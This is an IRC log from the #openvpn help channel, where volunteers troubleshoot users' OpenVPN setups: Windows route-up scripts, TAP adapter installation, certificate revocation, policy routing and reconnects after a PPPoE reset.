02:12 -!- ade_b [~Ade@109.58.202.10.bredband.tre.se] has joined #openvpn
02:12 -!- ade_b [~Ade@109.58.202.10.bredband.tre.se] has quit [Changing host]
02:12 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:12 < bmanatwork> so am i missing somethign still
02:12 < bmanatwork> im sorry im not familiar with this, i have had this working for a while for secure connections
02:12 < bmanatwork> but my boss wants to browse the internet too
02:13 < bmanatwork> !def1
02:13 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
02:14 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 248 seconds]
02:19 -!- Minnebo [~Minnebo@mail.mms-secure.eu] has joined #openvpn
02:20 -!- Minnebo [~Minnebo@mail.mms-secure.eu] has quit [Read error: Connection reset by peer]
02:20 -!- Minnebo [~Minnebo@mail.mms-secure.eu] has joined #openvpn
02:24 -!- Minnebo [~Minnebo@mail.mms-secure.eu] has quit [Ping timeout: 246 seconds]
02:31 -!- Minnebo [~Minnebo@mail.mms-secure.eu] has joined #openvpn
02:39 -!- holmen [~holmen@h-30-250.a176.priv.bahnhof.se] has joined #openvpn
02:42 -!- Minnebo [~Minnebo@mail.mms-secure.eu] has quit [Ping timeout: 248 seconds]
02:42 -!- mementomori [~mementomo@unaffiliated/mementomori] has joined #openvpn
02:42 < mementomori> hi
02:43 < mementomori> I'm using openvpn 2.3.0 on windows xp and it seems like the 'route-up' script is not called
02:44 < EugeneKay> !windows
02:44 <@vpnHelper> "windows" is (#1) computers are like air conditioners, they work well until you open windows. or (#2) http://secure-computing.net/files/windows.jpg for funny or (#3) http://secure-computing.net/files/windows_2.jpg for more funny
02:45 < mementomori> EugeneKay, the links are both 404
02:45 < mementomori> :)
02:45 < EugeneKay> Yeah, ecrist's fault.
02:46 < EugeneKay> !pastebin your configs ?
02:46 < EugeneKay> !pastebin
02:46 <@vpnHelper> "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
02:46 < EugeneKay> Damn bot.
02:46 < mementomori> EugeneKay, sure, gimme a second
02:46 < EugeneKay> The windows box, really.
02:48 < mementomori> pastebin.com/encUnnJS
02:49 < EugeneKay> I suspect it's something with the \\ escaping myself
02:49 < EugeneKay> It's always escapign
02:50 < EugeneKay> Try invoking with relative paths and the --cd directive on the command line
02:50 < mementomori> EugeneKay, but log doesn't put any warning about route-up line
02:50 < mementomori> EugeneKay, I'll try with single \
02:51 < mementomori> EugeneKay, ok. trying --cd
02:53 -!- bmanatwork [~work@cpe-70-112-107-27.austin.res.rr.com] has left #openvpn ["Leaving"]
02:54 -!- amir [~amir@unaffiliated/amir] has quit [Ping timeout: 248 seconds]
03:02 < mementomori> mmmm --cd, single \ and  using / instead of \\ haven's solved the problem
03:04 < mementomori> I tried   route-up c:/Programmi/OpenVPN/config/infotel-ts/route-upXXX.bat and it complains the file doesn't exist
03:04 <+pekster> mementomori: So --cd "C:\Some\where" --route-up "C:/Some/where/script.bat" ?
03:04 < mementomori> pekster, yes
03:04 < mementomori> so I think the problem is in the .bat
03:04 -!- AsadH is now known as zz_AsadH
03:05 <+pekster> Quoted or not? I'm curious as I didn't get a sample route-up script to work in either 2.2.2 or 2.3.0-x64 bit. Interesitngly enough, the 'verb 4' is ignored in 2.3.0 as well
03:05 <+pekster> Downgrading to 2.2.2 and the exact same config verb 4 works fine
03:05 <+pekster> :\
03:05 -!- Orbi [~opera@109.129.12.35] has joined #openvpn
03:06 < mementomori> pekster, it was working with and older release
03:06 < mementomori> pekster, but I dont remember which version it actually was
03:07 <+pekster> k. So now you're using --route-up with or without outside-quotes?
03:07 < mementomori> www.pastebin.com/X4E6AAUZ
03:07 < mementomori> pekster, now without quotes
03:08 <+pekster> Interesting. I should gander at the code since I've seen some quoting issues due to Windows pathnames in the past too
03:08 <+pekster> Windows is such a PITA ;)
03:08 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
03:08 < mementomori> pekster, but it cannot be a quoting problem becouse it is able to detect missing files.
03:09 <+pekster> They shouldn't have been missing though, right? openvpn is "supposed" to support Windows-style paths as parameters too
03:09 <+pekster> You usually have to escape spaces in names (via quotes or escapes) and also escape backslashes
03:09 -!- Orbi [~opera@109.129.12.35] has quit [Ping timeout: 248 seconds]
03:10 <+pekster> For example, here's a (working) cd directive that's valid in 2.2.2 and 2.3.0: cd "D:\\Apps\\OpenVPN\\config\\auth-client"
03:10 -!- holmen [~holmen@h-30-250.a176.priv.bahnhof.se] has quit [Ping timeout: 244 seconds]
03:11 < mementomori> pekster, I'll try again
03:11 <+pekster> If you use cd, you should also be able to use a relaative name to your script
03:11 < mementomori> with all the \\ and / and quote combinations
03:12 <+pekster> So if 'foo.bat' is in the same folder you --cd to, it should work to do '--route-up foo.bat'
03:12 -!- holmen [~holmen@h-30-250.a176.priv.bahnhof.se] has joined #openvpn
03:12 < mementomori> pekster, in older releases everything was relative to %ProgramFiles%\OpenVPN\config by default
03:13 < mementomori> and this is good because you can't actually know where %programfiles% is
03:14 <+pekster> My guess is that was only true if the GUI started it. Normally it doesn't do any dir changes, so if you start in c:\somewhere it'll root there unless changed
03:14 < mementomori> and you cant access %programfiles% from .bat  launched by openvpn
03:14 <+pekster> Sure you can (unless you mean UAC limitations. That's not ovpn's problem at that point)
03:14 < mementomori> pekster, yes. you could be right sing I'm using the gui
03:14 < mementomori> s/sing/since
03:18 -!- djc [~djc@gentoo/developer/djc] has joined #openvpn
03:20 < djc> so I have topology subnet setup with a simple 255.255.255.0 subnet; now, I'd like some clients to have a stable IP, so I have ccd files for those
03:20 < mementomori> no way. I'll try downgrading
03:20 <+pekster> djc: The IP a client gets does not change the CN it uses, which is what your ccd files are named after
03:20 < djc> however, I was counting on the other clients to not get any of those stable-designated IP's, but yesterday some of those IP's got assigned to our new Android clients
03:21 < djc> pekster: right, I get that
03:21 <+pekster> djc: Oh, okay, so you want some statically addressed (via ccd entries) vs dynamic clients. Then lower your --ifconfig-pool range
03:21 <+pekster> Don't assign a dynamic range to overlap IPs you manage external to the pool or you'll get unexpected surprises like that
03:23 < djc> pekster: so currently I just use a server option, no ifconfig-pool
03:23 <+pekster> Expand that helper-directive yourself
03:23 < djc> yeah
03:23  * pekster hates helper directives for that reason
03:24 <+pekster> You can't just issue --ifconfig-pool (I did test that a couple of weeks back actually) as it's invalid to do that
03:24 <+pekster> not after you use a --server* option
03:25 < djc> ok, but so the routing will still work out to clients that are not in the ifconfig-pool?
03:25 < djc> that's always what I found slightly confusing
03:25 <+pekster> Yea, of course. Any 'push "route ..."' statements, plus any kernel-level routing doesn't change
03:26 <+pekster> Just the IP. --ifconfig-pool manages the --ifconfig-push stuff automatically behind the scenes so you don't need ccd or --client-connect scripts for every client
03:26 < djc> but server doesn't imply any "route" statements, only route-gateway
03:26 <+pekster> In subnet? Then that's fine
03:26 < djc> hmm, okay, let's test this
03:27 <+pekster> If your setup currently works and you just need to reduce your pool, expand the --server directive as the manpage shows, then reduce your --ifconfig-pool to a sane value
03:27 <+pekster> That's it. The ccd stuff works as it does now
03:31 < djc> pekster: awesome, thanks for your help
03:34 < mementomori> ok. downgrading to latest 2.2 solved my problem
03:34 < mementomori> should I fill a bug report?
03:35 <+pekster> You're getting 'file not found' on a path for your --route-up script that works in 2.2.2?
03:35 <+pekster> Or does it not execute the script at all?
03:36 < mementomori> pekster, the script isn't executed
03:36 <+pekster> Sounds like a 2.3.0 bug then
03:37 < mementomori> pekster, but 2.3.0 correctly checks if the file exists
03:37 < mementomori> pekster, it "just" forget to call it :)
03:41 -!- djc [~djc@gentoo/developer/djc] has left #openvpn []
03:54 -!- master_of_master [~master_of@p57B53EFA.dip.t-dialin.net] has quit [Ping timeout: 276 seconds]
03:59 -!- zz_AsadH is now known as AsadH
04:03 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
04:16 -!- MariusIT [~userit@86.120.191.55] has joined #openvpn
04:23 -!- b1rkh0ff [~b1rkh0ff@46.36.160.201] has joined #openvpn
04:35 < holmen>  pekster: i've PM:ed you :)
04:36 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
04:38 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
04:46 -!- p3rror [~mezgani@2001:0:53aa:64c:14e8:5090:d607:374c] has joined #openvpn
04:50 -!- master_of_master [~master_of@p57B5402B.dip.t-dialin.net] has joined #openvpn
05:01 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
05:01 < Rienzilla> 13
05:02 -!- zrzerenato [~zrzerenat@189-015-223-053.xd-dynamic.ctbcnetsuper.com.br] has joined #openvpn
05:02 -!- zrzerenato [~zrzerenat@189-015-223-053.xd-dynamic.ctbcnetsuper.com.br] has left #openvpn []
05:03 -!- zrzerenato [~zrzerenat@189-015-223-053.xd-dynamic.ctbcnetsuper.com.br] has joined #openvpn
05:03 -!- dazo_afk is now known as dazo
05:04 < zrzerenato> hi 2 all, im having a simple issue and googling is not helping so much, can some one please ?
05:08 < zrzerenato> iam connecting normally with all ovpn clients, but duty´s note´s, they are not administrator user at local computer(windows 7), but i already set privileges for those users, and i even found these (route-method exe route-delay 2), for setting client .conf file
05:08 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
05:09 < zrzerenato> i can connect but with the following error FlushIpNetTable failed on interface Access Denied
05:10 -!- MariusIT [~userit@86.120.191.55] has quit [Quit: Nettalk6 - www.ntalk.de]
05:11 < zrzerenato> any one?
05:12 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has quit [Ping timeout: 240 seconds]
05:21 <+pekster> zrzerenato: http://www.openvpn.se/files/howto/openvpn-howto_run_openvpn_as_nonadmin
05:21 <@vpnHelper> Title: HowTo Run OpenVPN as a non-admin user in Windows (at www.openvpn.se)
05:21 <+pekster> zrzerenato: Your error is pretty self-explanitory; the running user lacks the ability to perform an operation on the network interface
05:25 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Read error: Connection reset by peer]
05:25 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
05:26 -!- niervol [~krystian@193.106.244.150] has quit [Quit: Leaving.]
05:27 -!- sw0rdfish [sw0rdfish@bouncing.users.since.2011.panicbnc.org] has joined #openvpn
05:27 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has quit [Ping timeout: 252 seconds]
05:29 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-136.233.wb.wifirst.net] has joined #openvpn
05:38 -!- sw0rdfish [sw0rdfish@bouncing.users.since.2011.panicbnc.org] has quit [Changing host]
05:38 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has joined #openvpn
05:42 -!- brute11k1 [~brute11k@89.249.230.101] has joined #openvpn
05:42 -!- brute11k [~brute11k@89.249.230.101] has quit [Ping timeout: 244 seconds]
05:44 < zrzerenato> pekster thanks ill try that and let you know!!
05:59 < zrzerenato> pekster: HKEY_LOCAL_MACHINE\SOFTWARE\OpenVPN-GUI\allow_service   there is no key on my registry editor
06:05 -!- Valcorb [~Valcorb@94-226-106-113.access.telenet.be] has joined #openvpn
06:10 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 272 seconds]
06:12 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
06:15 -!- valparaiso_ [~valparais@ARennes-257-1-57-80.w81-53.abo.wanadoo.fr] has joined #openvpn
06:17 -!- valparaiso_ is now known as valparaiso
06:18 < BtbN> How do i make my openvpn server forward ipv6? It successfully pushes the ipv6 subnet route, and the client also gets to the first hop, but nothing after it.
06:19 < BtbN> I enabled the ipv6 version of ip_forward
06:19 < BtbN> i it's the responses that don't get through
06:40 -!- niervol [~krystian@193.106.244.150] has joined #openvpn
06:42 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
06:46 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
06:48 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
06:50 -!- valparaiso [~valparais@ARennes-257-1-57-80.w81-53.abo.wanadoo.fr] has left #openvpn []
06:58 -!- gedO [~quassel@2002:5877:9af0:1000:adeb:bb17:df63:d8d3] has joined #openvpn
06:58 <@ecrist> what's my fault?
07:00 < gedO> Hello, who can help me with interfaces?
07:00 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 252 seconds]
07:01 <@ecrist> !ask
07:01 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
07:01 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
07:02 < gedO> Okey, OpenVPN created on ly one tar interface. I need more. How I can create more?
07:02 < gedO> ecrist: Do you know?
07:03 <@ecrist> there's a batch script included, don't remember where it gets installed, but I think c:\program files\openvpn  called tuntap.bat or somesuch
07:03 < gedO> ecrist: okey, i will check :)
07:08 < gedO> ecrist: I can't find that script
07:08 <@ecrist> it's there, somewhere
07:09 <@ecrist> let me see if I can figure out where it is
07:09 < kisom> gedO, ecrist: I don't have it either on 2.3.0. It used to be under the bin folder if I recall correctly.
07:10 < gedO> kisom: Do you have this problem to?
07:10 <@ecrist> C:\Program Files\OpenVPN\bin\tapinstall.exe
07:10 <@ecrist> does not exist?
07:10 < kisom> Not on 2.3 .)
07:11 < gedO> ecrist: nope
07:11 <@ecrist> try searching your entire system
07:11 < kisom> One sec, let me try something.
07:11 <@ecrist> I'll look into it from my end
07:11 < kisom> Check in C:\Program Files\TAP-Windows\bin
07:12 < kisom> Seems they've split up openvpn and the TAP driver in 2.3
07:12 <@ecrist> similar to how they stripped easy-rsa out of core
07:12 < gedO> kisom: I have that directory
07:13 < gedO> kisom: What is next to create tap?
07:13 <@ecrist> do you have tapinstall.exe?
07:13 < kisom> Execute "devcon.exe help"
07:13 < kisom> there's lots of info in there
07:14 < gedO> kisom: Okey
07:14 < gedO> kisom: Looking right now :)
07:15 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
07:16 < kisom> Anyways, I need to mirror my drive and send it back to seagate for a replacement. Hence I'll be off for a few hours. Cya.
07:23 < BtbN> Hm, i just can't figure out what's wrong. I even can't ping my network from the openvpn server, as it tries to issue the ping from the openvpn interface
07:23 < BtbN> what shouldn't be a problem, but it is
07:34 <+pekster> ecrist, gedO, you need to manually run the 'tap-windows.exe' installer
07:35 <+pekster> Whoever built the 2.3.0 (inculding rc builds) didn't use the right version of the nsis script, so those don't get installed by default
07:35 <@ecrist> that'd be mattock
07:35 <+pekster> Have an email?
07:35 < gedO> pekster: Yes, i know. I have found solution
07:35 <@ecrist> pekster: if you know what's wrong, can you please post to the -devel mailing list, or in the -devel IRC channel?
07:36 <+pekster> ecrist: Sure thing. I just discovered the exact issue a day or two ago and I simply lost track of it (gotta put a postit or something.)
07:36 <+pekster> I'll get to it once I have some coffee this morning I guess
07:37 < gedO> pekster: http://pastebin.com/96qBm918 here is script to add one TAP
07:37 < khem_> I've had several attempts now to revoke a cert to exclude a user from my OpenVPN server without success. The output from OpenSSL looks all good: http://pastie.org/5834385. Anyone knows what's wrong?
07:37 <+pekster> gedO: Yea. You can swipe the scripts from an older version, but they're "supposed" to be installed
07:38 -!- bisko [~bisko@77.70.26.115] has joined #openvpn
07:38 -!- Valcorb [~Valcorb@94-226-106-113.access.telenet.be] has quit [Read error: Connection reset by peer]
07:38 <+pekster> gedO: For now, if you open the openvpn-install*.exe file with 7-zip, go to .\$TEMP\ and grap tap-windows.exe, reinstall that, and select the optional "utilities" you get it in your TAP-Win32 program files folder
07:38  * pekster goes to get that email sent off before the day gets more complicated
07:39 <@ecrist> khem_: is your CRL included in your openvpn config file?
07:39 <@ecrist> and is the CRL your openvpn instance references up to date?
07:39 < khem_> ecrist: included with crl-verify, yes.
07:39 < gedO> pekster: okey
07:39 <@ecrist> khem_: is it up to date?
07:39 < khem_> I'm not sure what you meant about the last part - instance references?
07:40 <@ecrist> the file referenced by crl-verify needs to be up to date
07:40 <@ecrist> the revokation is only stored in the CRL, not in the cert, so if Openvpn is using an old CRL, it won't know about the newly-revoked certificate
07:41 < khem_> ecrist: oh, the .crl-verify file is updated just minutes ago according to filesystems, and is the same file that I queried with OpenSSL and gives status of 2 revoked certs.
07:41 -!- b1rkh0ff [~b1rkh0ff@46.36.160.201] has quit [Ping timeout: 256 seconds]
07:41 -!- Valcorb [~Valcorb@199.229.249.189] has joined #openvpn
07:41 <@ecrist> are you sure you revoked the correct certificate, then?
07:42 <@ecrist> also, if the user is already connected, revoking it won't disconnect the active session
07:42 -!- gedO [~quassel@2002:5877:9af0:1000:adeb:bb17:df63:d8d3] has quit [Remote host closed the connection]
07:43 < khem_> ecrist: it is the correct certificate and I try to verify by establishing new connection to the OpenVPN
07:44 <@ecrist> !logs
07:44 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
07:44 <@ecrist> !verify
07:44 <@ecrist> !factoids search verify
07:44 <@vpnHelper> "certverify" is (#1) verify your certs are signed correctly by running `openssl verify -CAfile <ca.crt> <client.crt>` for client.crt and server.crt or (#2) also make sure you use the same ca.crt on both sides by checking their md5
07:44 <@ecrist> !certverify
07:44 <@vpnHelper> "certverify" is (#1) verify your certs are signed correctly by running `openssl verify -CAfile <ca.crt> <client.crt>` for client.crt and server.crt or (#2) also make sure you use the same ca.crt on both sides by checking their md5
07:46 <+pekster> khem_: It might be worth a HUP to your server too, just in case that crl-verify directive was added or changed since the service was last restarted
07:46 <+pekster> that'll kill all active connections, so careful not to do that if it's a production system with "important" users on
07:46 <@ecrist> let's start with logs
07:47 < khem_> hmm, server1.crt on server and ca.crt have different md5sums to begin with
07:48 <@ecrist> they're different certs
07:48 <@ecrist> you won't be using a CA cert for the server cert
07:48 < khem_> oh
07:48 < khem_> bit confused
07:48 < khem_> :p
07:48 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 248 seconds]
07:49 <@dazo> khem_: I haven't had time to fix up this draft .... but maybe this can help a bit more to understand PKI and certificates ... https://community.openvpn.net/openvpn/wiki/How_does_PKI_work
07:49 <@vpnHelper> Title: How_does_PKI_work – OpenVPN Community (at community.openvpn.net)
07:50 < khem_> thankyou dazo, very helpful
07:55 -!- b1rkh0ff [~b1rkh0ff@46.36.160.201] has joined #openvpn
07:55 < khem_> the certificates match: keys/xxxx.crt: OK
07:56 < khem_> have to turn on some logging then
08:12 -!- Valcorb [~Valcorb@199.229.249.189] has quit [Ping timeout: 240 seconds]
08:14 < khem_> I read something that there might be issues revoking certs when using static key?
08:17 -!- p3rror [~mezgani@2001:0:53aa:64c:14e8:5090:d607:374c] has quit [Ping timeout: 245 seconds]
08:18 < BtbN> hm, seems like my router does not forward the answers back to me :/
08:19 -!- Azrael808 [~peter@cpc17-walt12-2-0-cust657.13-2.cable.virginmedia.com] has joined #openvpn
08:19 -!- Azrael808 [~peter@cpc17-walt12-2-0-cust657.13-2.cable.virginmedia.com] has quit [Remote host closed the connection]
08:20 <@dazo> khem_: yeah, it's a big issue with revoking certs when using static key .... the big issue is that you can't use certs with a static key
08:28 < khem_> oh, so even though there have been certs defined in my configuration file it might go for the delegated static key first.
08:28 < khem_> I have no clue, I'm troubleshooting an existing system.
08:28 <+pekster> static-key vs X509 modes are mutually-exclusive
08:28 < holmen> I'm running a server with two physical nic's and i've got two separate ip's from my isp. Now i want to tunnel the connection to/from eth0 via openvpn to a external service running TUN as setup. I've been helped by pekster before but he does not seem to be avaliable at the moment ( or he's tired of my endeavours :) ). My problem is that the openvpn tunnel opens on eth1 wich is the default route in the main table. I have added routes and rules 
08:32 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has quit [Remote host closed the connection]
08:32 < khem_> im talking about tls-auth cert/ta.key
08:32 <+pekster> holmen: PMs have fallen off my console this morning. Best to keep questions on the main channel anyway since I'm not always here. Split-routing asside, you need to use the --local directive to bind oepnvpn to the IP on the network you wish to connect through
08:33 < holmen> pekster: i've done that it still does'nt work
08:34 < holmen> it seems that it tunnels through the gateway of the main table not via the openvpn table that i've created
08:34 <+pekster> holmen: http://lartc.org/howto/lartc.rpdb.multiple-links.html
08:34 <@vpnHelper> Title: Routing for multiple uplinks/providers (at lartc.org)
08:34 <+pekster> You need to fix your policy routing first
08:35 -!- niervol [~krystian@193.106.244.150] has quit [Ping timeout: 248 seconds]
08:36 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has joined #openvpn
08:37 -!- p3rror [~mezgani@2001:0:53aa:64c:10bc:5090:d607:3e63] has joined #openvpn
08:37 < holmen> thank you!
08:41 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
08:42 -!- p3rror [~mezgani@2001:0:53aa:64c:10bc:5090:d607:3e63] has quit [Ping timeout: 245 seconds]
08:49 <@dazo> Hmmm ..... http://i.imgur.com/h2JClux.jpg
08:49 < rob0> haha
08:50 < AsadH> lol dazo
08:50 <+pekster> I dunno, after reiserfs blew up on me my last kernel upgrade, I think the declining use of reiserfs (v3 or v4) results in less murders...
08:59 -!- p3rror [~mezgani@2001:0:53aa:64c:1422:5090:d605:12ca] has joined #openvpn
08:59 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 248 seconds]
09:04 -!- p3rror [~mezgani@2001:0:53aa:64c:1422:5090:d605:12ca] has quit [Ping timeout: 245 seconds]
09:06 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
09:09 < bisko> Hello! Anyone here tried running the iOS openvpn client with pkcs12 certificates? The help (docs) on that states that it should work, but alas, it doesn't recognize the pkcs12 certificate and says invalid format. Did anyone manage to get it working ?
09:13 < dioz> i think my lvm2 is broken
09:20 -!- gedO [~quassel@2002:5877:9af0:1000:adeb:bb17:df63:d8d3] has joined #openvpn
09:29 -!- gedO [~quassel@2002:5877:9af0:1000:adeb:bb17:df63:d8d3] has quit [Ping timeout: 252 seconds]
09:40 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has joined #openvpn
09:41 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has quit [Read error: Connection reset by peer]
09:43 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 248 seconds]
09:46 -!- mbrit [~mbrit@186.120.97.194] has joined #openvpn
09:48 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
09:51 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
09:56 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 246 seconds]
10:17 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 256 seconds]
10:25 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has quit [Read error: Connection reset by peer]
10:27 -!- wh1p [~wh1pl4sh@host-2-100-148-6.as13285.net] has quit [Ping timeout: 245 seconds]
10:33 -!- KaiForce [~chatzilla@adsl-70-228-76-146.dsl.akrnoh.ameritech.net] has joined #openvpn
10:36 -!- mementomori [~mementomo@unaffiliated/mementomori] has quit [Quit: Sto andando via]
10:40 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
10:40 -!- Steven_ [~deepstar@pegasus.singularity.be] has joined #openvpn
10:41 < Steven_> hello everyone
10:42 -!- wh1p [~wh1pl4sh@host-2-100-148-6.as13285.net] has joined #openvpn
10:42 < Steven_> is there a way to install openvpn on windows without user interaction (or as little as possible)?
10:42 < Steven_> I can't find any documentation on installer commandline flags
10:43 <+pekster> Steven_: It's NSIS, so /S should do a silent install, although you end up with the issue of unsigned drivers asking for permission to install depending on your Local Security policy settings (default is ask about non-WHQL drivers)
10:43 < Steven_> pekster: aha!
10:43 < Steven_> thank you, I'll give it a try
10:46 <@ecrist> iirc, the drivers are all signed now
10:46 < Steven_> windows xp complains though
10:47 -!- raidz_away is now known as raidz
10:48 <+pekster> Yea, my test VM is XP, and it'll ask every time even if I'm reinstalling the same version
10:50 < Steven_> it seems you can disable this behavior when doing unattended installs
10:50 < Steven_> http://unattended.msfn.org/unattended.xp/view/web/34/
10:50 <@vpnHelper> Title: MSFN's Unattended Windows : Drivers via WINNT.SIF (at unattended.msfn.org)
10:50 < Steven_> looks perfect for my case
10:51 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
10:57 -!- bisko [~bisko@77.70.26.115] has quit [Ping timeout: 240 seconds]
11:09 -!- ade_b [~Ade@kista.guest.accome.com] has joined #openvpn
11:09 -!- ade_b [~Ade@kista.guest.accome.com] has quit [Changing host]
11:09 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
11:22 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has quit [Ping timeout: 240 seconds]
11:32 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 245 seconds]
11:37 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
11:57 -!- valparaiso [~valparais@ARennes-257-1-57-80.w81-53.abo.wanadoo.fr] has joined #openvpn
11:58 -!- AsadH is now known as zz_AsadH
12:12 -!- pyro254750 [~jmiller@c-24-99-228-251.hsd1.ga.comcast.net] has joined #openvpn
12:21 < BtbN> IPv6 forwarding is horrible. It behaves very strange, if you enable it, you automaticaly disable ra, so you loose your IP address...
12:24 -!- tyteen4a03 [T4@n218250228096.netvigator.com] has quit [Read error: Connection reset by peer]
12:24 -!- tMobile4a03 [T4@n218250228096.netvigator.com] has joined #openvpn
12:33 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
12:34 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
12:50 -!- Orbi [~opera@anon-184-12.vpn.ipredator.se] has joined #openvpn
12:55 < Orbi> @pekster even with SIGUSR1, OpenVPn is not restarting after pppoe connection reset. Here's the log: http://www.pastebay.com/1177174
13:00 <+pekster> Orbi: Interesting. And if you shut it down completely and re-launch it, it works right away?
13:03 < Orbi> no not right away, it seems to need a "cooling off" period
13:03 < Orbi> like 30 seconds
13:07 <+pekster> That's really strange. I'm not sure if --nobind would help since I think it's alreaady releasing the socket completely before a reconnect
13:10 < Orbi> I already have nobind in my config
13:13 < Orbi> maybe with --ping-restart?
13:13 -!- zz_AsadH is now known as AsadH
13:15 <+pekster> No clue really
13:15 < Orbi> It's strange, OpenVPN connects with the remote host, and not even a second after it displays an inactivity timeout and closes the socket
13:15 <+pekster> It's a minute later
13:15 < Orbi> right
13:16 <+pekster> Presumably matching your --pint-restart value
13:16 < Orbi> default is 120 seconds
13:16 < Orbi> so it's gotta be something else
13:17 <+pekster> There has to be something else going on with your pppoe device, because OpenVPN will come back after you do all sorts of dreadful things to the interface. I've unplugged cables before, removed USB network adapters it was using, and even had my phone die on my when my router was using NDIS for an uplink, and OpenVPN happily reconnects as soon as it has a routable interface to get to the peer
13:18 < Orbi> Well, it's my crappy isp modem
13:19 < Orbi> Is there any usefull info from the log when i killall OpenVNP? http://www.pastebay.com/1177175
13:22 <+pekster> Looks like you're downgrading priveleges; are you using the relevant --persist-* options?
13:23 <+pekster> Actually, a client-side config might be helpful to look at too
13:23 < Orbi> you're correct about downgrading privileges, but I'm using persist-key & tun
13:24 <+pekster> Let's see if there's anything that might have been overlooked given that your uplink gets destroyed frequently
13:25 <+pekster> Yea, so the persist options should be fine, provided the client doesn't somehow get a new IP or anything that would require ifconfig to run again. You're not even getting to the TLS handshake though...
13:25 < Orbi> Here's my config: http://www.pastebay.com/1177176
13:25 < holmen> pekster: i've fixed my routing now. But I am connectable from the internet to both nic's. Should'nt the tunneled nic be "unpingable"?
13:26 <+pekster> holmen: Nope, not unless you firewall it
13:26 <+pekster> The fact that you can ping and be pinged from that interface suggests your policy routing is now correct
13:28 < holmen> Hmm ok but the other end of this configuration is a anonymizer service. I does not make sense in my opinoin :/
13:28 < BtbN> so i had to completely switch of every single bit of auto configuration on that machine
13:28 < BtbN> but now it works fine
13:29 < Orbi> @pekster Well after every pppoe connection reset, I get a new IP. But float is set server-side, so it should play nice.
13:29 <+pekster> Orbi: I'm wondering if there's some issue accessing the ca.crt, since I don't think that's controlled by any persist option. Is that absolute path available from your chroot?
13:30 <+pekster> ie: /tmp/openvpnc1/jail/tmp/openvpnc1/ca.crt ?
13:30 <+pekster> I don't know if it's trying to access that, or something else it expects
13:30 <+pekster> That's really my ownly thought at this point
13:30 <+pekster> That or the auth-user-pass. I dunno
13:31 <+pekster> Oh, do you know when openvpn normally re-keys?
13:31 <+pekster> If you get messages like 'killed expiring key' then those would be working anyway
13:31 < Orbi> every hour
13:32 <+pekster> Yea, k, so much for that theory
13:32 < Orbi> Yeah well thanks for thinking along :)
13:32 <+pekster> I'm now out of ideas. You could try not using chroot and user/group options just to see if anything changes, but that's a shot in the dark at this point. If it were I'd also expect error messages to that end with 'verb 4' like you have
13:33 < holmen> pekster: can i see the tunnel in action in some way?
13:33 <+pekster> You connect: it becomes in action
13:34 <+pekster> If you're online, packets can arrive to you. If you want to stop them, firewall them. Networking 101.
13:34 < Orbi> @pekster this issue was already present before using chroot and downgrading privileges
